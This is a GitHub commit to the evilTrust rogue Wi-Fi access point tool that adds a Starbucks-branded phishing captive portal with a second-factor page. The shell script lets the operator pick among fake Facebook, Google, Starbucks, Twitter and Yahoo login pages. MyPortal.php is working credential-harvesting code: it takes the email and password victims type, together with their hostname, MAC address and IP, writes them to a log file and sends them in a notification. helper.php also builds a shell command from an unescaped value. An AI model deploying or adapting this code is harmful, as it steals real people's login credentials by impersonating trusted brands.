Skip to content

Commit e42a1c1

Browse files
author
s4vitar
committed
Plantilla de Starbucks con 2fa funcionando
1 parent 7fd41b7 commit e42a1c1

File tree

13 files changed

+571
-3
lines changed

13 files changed

+571
-3
lines changed

evilTrust.sh

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -141,8 +141,8 @@ function startAttack(){
141141
dnsmasq -C dnsmasq.conf -d > /dev/null 2>&1 &
142142
sleep 5
143143

144-
echo -ne "\n${yellowColour}[*]${endColour}${grayColour} Plantilla a utilizar (facebook-login, google-login, starbucks-login, twitter-login, yahoo-login, optimumwifi):${endColour} " && read template
145-
cp -r $template/* .
144+
tput cnorm; echo -ne "\n${yellowColour}[*]${endColour}${grayColour} Plantilla a utilizar (facebook-login, google-login, starbucks-login, twitter-login, yahoo-login, optimumwifi):${endColour} " && read template
145+
tput civis; cp -r $template/* .
146146
echo -e "\n${yellowColour}[*]${endColour}${grayColour} Montando servidor PHP...${endColour}"
147147
php -S 192.168.1.1:80 > /dev/null 2>&1 &
148148
sleep 2
Lines changed: 68 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,68 @@
1+
<?php namespace evilportal;
2+
3+
class MyPortal extends Portal
4+
{
5+
6+
public function handleAuthorization()
7+
{
8+
9+
$dirs = array(
10+
'/root/',
11+
'/sd/',
12+
);
13+
14+
$dirs = array_filter($dirs, 'file_exists');
15+
$dirs = array_filter($dirs, 'is_writeable');
16+
17+
if (empty($dirs)) {
18+
die("die");
19+
}
20+
21+
$dir = array_pop($dirs);
22+
$want = $dir . DIRECTORY_SEPARATOR . 'evilportal-logs';
23+
24+
if (file_exists($want)) {
25+
}
26+
27+
else {
28+
mkdir($want);
29+
}
30+
31+
if (!file_exists($want)) {
32+
}
33+
34+
if (!is_dir($want)) {
35+
}
36+
37+
if (!is_writeable($want)) {
38+
}
39+
40+
$want .= DIRECTORY_SEPARATOR;
41+
42+
if (isset($_POST['email'])) {
43+
$email = isset($_POST['email']) ? $_POST['email'] : 'email';
44+
$pwd = isset($_POST['password']) ? $_POST['password'] : 'password';
45+
$hostname = isset($_POST['hostname']) ? $_POST['hostname'] : 'hostname';
46+
$mac = isset($_POST['mac']) ? $_POST['mac'] : 'mac';
47+
$ip = isset($_POST['ip']) ? $_POST['ip'] : 'ip';
48+
file_put_contents("$dir/evilportal-logs/starbucks-login.txt", "[" . date('Y-m-d H:i:s') . "Z]\n" . "email: {$email}\npassword: {$pwd}\nhostname: {$hostname}\nmac: {$mac}\nip: {$ip}\n\n", FILE_APPEND);
49+
$this->execBackground("notify $email' - '$pwd");
50+
}
51+
// handle form input or other extra things there
52+
53+
// Call parent to handle basic authorization first
54+
parent::handleAuthorization();
55+
}
56+
57+
public function onSuccess()
58+
{
59+
// Calls default success message
60+
parent::onSuccess();
61+
}
62+
63+
public function showError()
64+
{
65+
// Calls default error message
66+
parent::showError();
67+
}
68+
}

starbucks-login/portal_2fa/assets/css/bootstrap.min.css

Lines changed: 6 additions & 0 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.
Lines changed: 216 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,216 @@
1+
.form-signin
2+
{
3+
max-width: 330px;
4+
padding: 15px;
5+
margin: 0 auto;
6+
}
7+
.form-signin .form-signin-heading, .form-signin .checkbox
8+
{
9+
margin-bottom: 10px;
10+
}
11+
.form-signin .checkbox
12+
{
13+
font-weight: normal;
14+
}
15+
.form-signin .form-control
16+
{
17+
position: relative;
18+
font-size: 16px;
19+
height: auto;
20+
padding: 10px;
21+
-webkit-box-sizing: border-box;
22+
-moz-box-sizing: border-box;
23+
box-sizing: border-box;
24+
}
25+
.form-signin .form-control:focus
26+
{
27+
z-index: 2;
28+
}
29+
.form-signin input[type="text"]
30+
{
31+
margin-bottom: -1px;
32+
border-bottom-left-radius: 0;
33+
border-bottom-right-radius: 0;
34+
}
35+
.form-signin input[type="password"]
36+
{
37+
margin-bottom: 10px;
38+
border-top-left-radius: 0;
39+
border-top-right-radius: 0;
40+
}
41+
.account-wall
42+
{
43+
margin-top: 20px;
44+
padding: 40px 0px 20px 0px;
45+
background-color: #ffffff;
46+
}
47+
.login-title
48+
{
49+
color: #007140;
50+
font-size: 55px;
51+
font-weight: 400;
52+
display: block;
53+
}
54+
.profile-img
55+
{
56+
width: 150px;
57+
height: 150px;
58+
margin: 0 auto 10px;
59+
display: block;
60+
-moz-border-radius: 50%;
61+
-webkit-border-radius: 50%;
62+
border-radius: 50%;
63+
}
64+
65+
.friends-text
66+
{
67+
font-size: 18px;
68+
font-weight: 400;
69+
display: block;
70+
color: #757575;
71+
padding-bottom: 15px;
72+
}
73+
74+
.need-help
75+
{
76+
margin-top: 10px;
77+
}
78+
.new-account
79+
{
80+
display: block;
81+
margin-top: 10px;
82+
}
83+
84+
/*.btn-primary {
85+
background: #5da522;
86+
border-color: #5da522;
87+
color: #ffffff;
88+
}
89+
90+
.btn-primary:hover, .btn-primary:focus, .btn-primary:active, .btn-primary.active, .open > .dropdown-toggle.btn-primary {
91+
background: #5da522;
92+
border-color: #5da522;
93+
color: #ffffff;
94+
}
95+
96+
.btn-primary:active {
97+
background: #5da522;
98+
border-color: #5da522;
99+
color: #ffffff;
100+
}*/
101+
102+
.container {
103+
margin: 0 auto;
104+
width: 400px;
105+
}
106+
107+
.terms-text1 {
108+
color: #999999;
109+
font-size: 15px;
110+
display: block;
111+
padding-top: 20px;
112+
}
113+
114+
.terms-text2 {
115+
color: #999999;
116+
font-size: 15px;
117+
display: block;
118+
padding-top: 5px;
119+
}
120+
121+
.terms-text3 {
122+
color: #999999;
123+
font-size: 15px;
124+
display: block;
125+
padding-top: 20px;
126+
}
127+
128+
.url-color {
129+
color: #6fb62f;
130+
font-size: 15px;
131+
}
132+
133+
.url-color:link {
134+
color: #6fb62f;
135+
text-decoration: none;
136+
}
137+
138+
.url-color:visited {
139+
color: #6fb62f;
140+
text-decoration: none;
141+
}
142+
143+
.url-color:hover {
144+
color: #6fb62f;
145+
text-decoration: none;
146+
}
147+
148+
.url-color:active {
149+
color: #6fb62f;
150+
text-decoration: none;
151+
}
152+
153+
.url-color1 {
154+
color: #007140;
155+
}
156+
157+
.url-color1:link {
158+
color: #007140;
159+
text-decoration: none;
160+
}
161+
162+
.url-color1:visited {
163+
color: #007140;
164+
text-decoration: none;
165+
}
166+
167+
.url-color1:hover {
168+
color: #007140;
169+
text-decoration: none;
170+
}
171+
172+
.url-color1:active {
173+
color: #007140;
174+
text-decoration: none;
175+
}
176+
177+
.btn-primary {
178+
color: #FFFFFF;
179+
text-shadow: 0 -1px 0 rgba(0, 0, 0, 0.25);
180+
background-color: #318a00;
181+
*background-color: #318a00;
182+
background-image: -moz-linear-gradient(top, #65AB28, #318a00);
183+
background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#65AB28), to(#318a00));
184+
background-image: -webkit-linear-gradient(top, #65AB28, #318a00);
185+
background-image: -o-linear-gradient(top, #65AB28, #318a00);
186+
background-image: linear-gradient(to bottom, #65AB28, #318a00);
187+
background-repeat: repeat-x;
188+
border: none;
189+
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#65AB28', endColorstr='#318a00', GradientType=0);
190+
filter: progid:DXImageTransform.Microsoft.gradient(enabled=false);
191+
}
192+
193+
.btn-primary:hover,
194+
.btn-primary:focus,
195+
.btn-primary:active,
196+
.btn-primary.active,
197+
.btn-primary.disabled,
198+
.btn-primary[disabled] {
199+
color: #FFFFFF;
200+
background-color: #318a00;
201+
*background-color: #318a00;
202+
}
203+
204+
.btn-xlarge {
205+
padding: 18px 28px;
206+
font-size: 22px; //change this to your desired size
207+
line-height: normal;
208+
-webkit-border-radius: 8px;
209+
-moz-border-radius: 8px;
210+
border-radius: 8px;
211+
}
212+
213+
.btn-sharp {
214+
border-radius: 5px;
215+
}
216+
Loading
Loading
Loading

starbucks-login/portal_2fa/helper.php

Lines changed: 45 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
<?php
2+
3+
/**
4+
* getClientMac
5+
* Gets the mac address of a client by the IP address
6+
* Returns the mac address as a string
7+
* @param $clientIP : The clients IP address
8+
* @return string
9+
*/
10+
function getClientMac($clientIP)
11+
{
12+
return trim(exec("grep " . escapeshellarg($clientIP) . " /tmp/dhcp.leases | awk '{print $2}'"));
13+
}
14+
15+
/**
16+
* getClientSSID
17+
* Gets the SSID a client is associated by the IP address
18+
* Returns the SSID as a string
19+
* @param $clientIP : The clients IP address
20+
* @return string
21+
*/
22+
function getClientSSID($clientIP)
23+
{
24+
// Get the clients mac address. We need this to get the SSID
25+
$mac = getClientMac($clientIP);
26+
27+
// get the path to the log file
28+
$pineAPLogPath = trim(file_get_contents('/etc/pineapple/pineap_log_location'));
29+
30+
// get the ssid
31+
return trim(exec("grep " . $mac . " " . $pineAPLogPath . "pineap.log | grep 'Association' | awk -F ',' '{print $4}'"));
32+
33+
}
34+
35+
/**
36+
* getClientHostName
37+
* Gets the host name of the connected client by the IP address
38+
* Returns the host name as a string
39+
* @param $clientIP : The clients IP address
40+
* @return string
41+
*/
42+
function getClientHostName($clientIP)
43+
{
44+
return trim(exec("grep " . escapeshellarg($clientIP) . " /tmp/dhcp.leases | awk '{print $4}'"));
45+
}

0 commit comments

Comments
 (0)